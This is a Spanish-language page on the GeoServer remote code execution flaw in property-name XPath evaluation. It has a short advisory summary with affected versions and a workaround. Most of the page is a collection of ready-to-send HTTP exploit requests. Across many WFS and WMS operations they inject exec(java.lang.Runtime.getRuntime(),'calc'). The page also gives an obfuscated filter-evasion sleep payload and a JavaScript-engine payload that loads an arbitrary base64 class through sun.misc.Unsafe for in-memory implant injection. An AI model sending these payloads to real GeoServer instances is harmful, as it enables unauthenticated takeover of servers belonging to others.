
Vulnerabilidad de Ejecución Remota de Código (RCE) en la evaluación de expresiones de nombres de propiedad con múltiples formas de explotación.
Vulnerabilidad de Ejecución Remota de Código (RCE) en la evaluación de expresiones de nombres de propiedades
GeoServer es un servidor de código abierto que permite a los usuarios compartir y editar datos geoespaciales. Antes de las versiones 2.23.6, 2.24.4 y 2.25.2, múltiples parámetros de solicitud OGC permiten la Ejecución Remota de Código (RCE) por parte de usuarios no autenticados mediante entradas especialmente diseñadas contra una instalación predeterminada de GeoServer, debido a la evaluación insegura de nombres de propiedades como expresiones XPath. La API de la librería GeoTools que GeoServer invoca evalúa nombres de propiedades/atributos para tipos de entidad (feature types) de una manera que los pasa de forma insegura a la librería commons-jxpath, la cual puede ejecutar código arbitrario al evaluar expresiones XPath. Esta evaluación XPath está pensada para usarse únicamente con tipos de entidad complejos (es decir, almacenes de datos Application Schema), pero se aplica incorrectamente también a tipos de entidad simples, lo que hace que esta vulnerabilidad afecte a TODAS las instancias de GeoServer. No se proporciona un PoC público, pero se ha confirmado que esta vulnerabilidad es explotable a través de solicitudes WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic y WPS Execute. Esta vulnerabilidad puede llevar a la ejecución de código arbitrario. Las versiones 2.23.6, 2.24.4 y 2.25.2 contienen un parche para el problema. Existe una solución alternativa que consiste en eliminar el archivo gt-complex-x.y.jar de GeoServer, donde x.y es la versión de GeoTools (por ejemplo, gt-complex-31.1.jar si se ejecuta GeoServer 2.25.1). Esto eliminará el código vulnerable de GeoServer, pero puede romper algunas funcionalidades de GeoServer o impedir su despliegue si se necesita el módulo gt-complex.
los typeNames deben existir en el sistema
puedes obtenerlos todos aquí: http://example.com/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0
/+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep
 	<![CDATA[ (2000) ]]>

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"calc")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
GET /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29&version=2.0.0
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>
</gml:Box>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Envelope srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:lowerCorner>-75.102613 40.212597</gml:lowerCorner>
<gml:upperCorner>-72.361859 41.512517</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsBetween>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:LowerBoundary><ogc:Literal>100000</ogc:Literal></ogc:LowerBoundary>
<ogc:UpperBoundary><ogc:Literal>150000</ogc:Literal></ogc:UpperBoundary>
</ogc:PropertyIsBetween>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
GET /geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&propertyName=STATE_NAME,LAND_KM,the_geom&outputFormat=GML2&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22%3E%3CPropertyIsBetween%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLowerBoundary%3E%3CLiteral%3E100000%3C%2FLiteral%3E%3C%2FLowerBoundary%3E%3CUpperBoundary%3E%3CLiteral%3E150000%3C%2FLiteral%3E%3C%2FUpperBoundary%3E%3C%2FPropertyIsBetween%3E%3C%2FFilter%3E
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>
GET /geoserver/wfs?request=GetFeature&version=1.0.0&typeName=topp:states&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%22%3E%3CIntersects%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3Cgml%3APoint+srsName%3D%22EPSG%3A4326%22%3E%3Cgml%3Acoordinates%3E-74.817265%2C40.5296504%3C%2Fgml%3Acoordinates%3E%3C%2Fgml%3APoint%3E%3C%2FIntersects%3E%3C%2FFilter%3E
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetFeature service="WFS" version="2.0.0"
xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:fes="http://www.opengis.net/fes/2.0"
xmlns:gml="http://www.opengis.net/gml/3.2" xmlns:sf="http://www.openplans.org/spearfish"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs/2.0 http://schemas.opengis.net/wfs/2.0/wfs.xsd
http://www.opengis.net/gml/3.2 http://schemas.opengis.net/gml/3.2.1/gml.xsd">
<wfs:Query typeNames="sf:bugsites">
<fes:Filter>
<fes:Not>
<fes:Disjoint>
<fes:ValueReference>exec(java.lang.Runtime.getRuntime(),"calc")</fes:ValueReference>
</fes:Disjoint>
</fes:Not>
</fes:Filter>
</wfs:Query>
</wfs:GetFeature>
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typenames=sf:bugsites&filter=%3Cfes%3AFilter+xmlns%3Afes%3D%22http%3A%2F%2Fwww.opengis.net%2Ffes%2F2.0%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%2F3.2%22%3E%3Cfes%3ANot%3E%3Cfes%3ADisjoint%3E%3Cfes%3AValueReference%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2Ffes%3AValueReference%3E%3Cgml%3APolygon+gml%3Aid%3D%27polygon.1%27+srsName%3D%27http%3A%2F%2Fwww.opengis.net%2Fdef%2Fcrs%2FEPSG%2F0%2F26713%27%3E%3Cgml%3Aexterior%3E%3Cgml%3ALinearRing%3E%3Cgml%3AposList%3E590431+4915204+590430+4915205+590429+4915204+590430+4915203+590431+4915204%3C%2Fgml%3AposList%3E%3C%2Fgml%3ALinearRing%3E%3C%2Fgml%3Aexterior%3E%3C%2Fgml%3APolygon%3E%3C%2Ffes%3ADisjoint%3E%3C%2Ffes%3ANot%3E%3C%2Ffes%3AFilter%3E
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsGreaterThan>
<ogc:Div>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:PropertyName>xxx</ogc:PropertyName>
</ogc:Div>
<ogc:Literal>0.25</ogc:Literal>
</ogc:PropertyIsGreaterThan>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
GET /geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&formatName=GML2&FILTER=%3Cogc:Filter%20xmlns:ogc=%22http://www.opengis.net/ogc%22%3E%3Cogc:PropertyIsGreaterThan%3E%3Cogc:Div%3E%3Cogc:PropertyName%3EMANUAL%3C/ogc:PropertyName%3E%3Cogc:PropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C/ogc:PropertyName%3E%3C/ogc:Div%3E%3Cogc:Literal%3E0.25%3C/ogc:Literal%3E%3C/ogc:PropertyIsGreaterThan%3E%3C/ogc:Filter%3E
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<?xml version="1.0" encoding="UTF-8"?>
<ogc:GetMap xmlns:ogc="http://www.opengis.net/ows"
xmlns:gml="http://www.opengis.net/gml"
version="1.2.0"
service="WMS">
<StyledLayerDescriptor version="1.0.0"
xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd"
xmlns="http://www.opengis.net/sld"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:dave="http://blasby.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UserLayer>
<Name>Inline</Name>
<InlineFeature>
<FeatureCollection>
<featureMember>
<BodyPart>
<Type>Mouth</Type>
<polygonProperty>
<gml:Polygon>
<gml:outerBoundaryIs>
<gml:LinearRing>
<gml:coordinates>
397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163
209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171
256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225
394,226 397,226
</gml:coordinates>
</gml:LinearRing>
</gml:outerBoundaryIs>
</gml:Polygon>
</polygonProperty>
</BodyPart>
</featureMember>
</FeatureCollection>
</InlineFeature>
<UserStyle>
<FeatureTypeStyle>
<Rule>
<Filter>
<Or>
<PropertyIsEqualTo>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
<Literal>Eye</Literal>
</PropertyIsEqualTo>
</Or>
</Filter>
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">
<ogc:Literal>#DD06E0</ogc:Literal>
</CssParameter>
<CssParameter name="fill-opacity">
<ogc:Literal>1.0</ogc:Literal>
</CssParameter>
</Fill>
<Stroke>
<CssParameter name="stroke">
<ogc:Literal>#FF00FF</ogc:Literal>
</CssParameter>
</Stroke>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</UserLayer>
</StyledLayerDescriptor>
<BoundingBox>
<gml:coord>
<gml:X>0</gml:X>
<gml:Y>0</gml:Y>
</gml:coord>
<gml:coord>
<gml:X>500</gml:X>
<gml:Y>500</gml:Y>
</gml:coord>
</BoundingBox>
<Output>
<Format>image/jpeg</Format>
<Transparent>false</Transparent>
<Size>
<Width>501</Width>
<Height>501</Height>
</Size>
</Output>
</ogc:GetMap>
GET /geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="your-base64-memery";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
afectado en < 2.23.6
afectado en >= 2.24.0, < 2.24.4
afectado en >= 2.25.0, < 2.25.2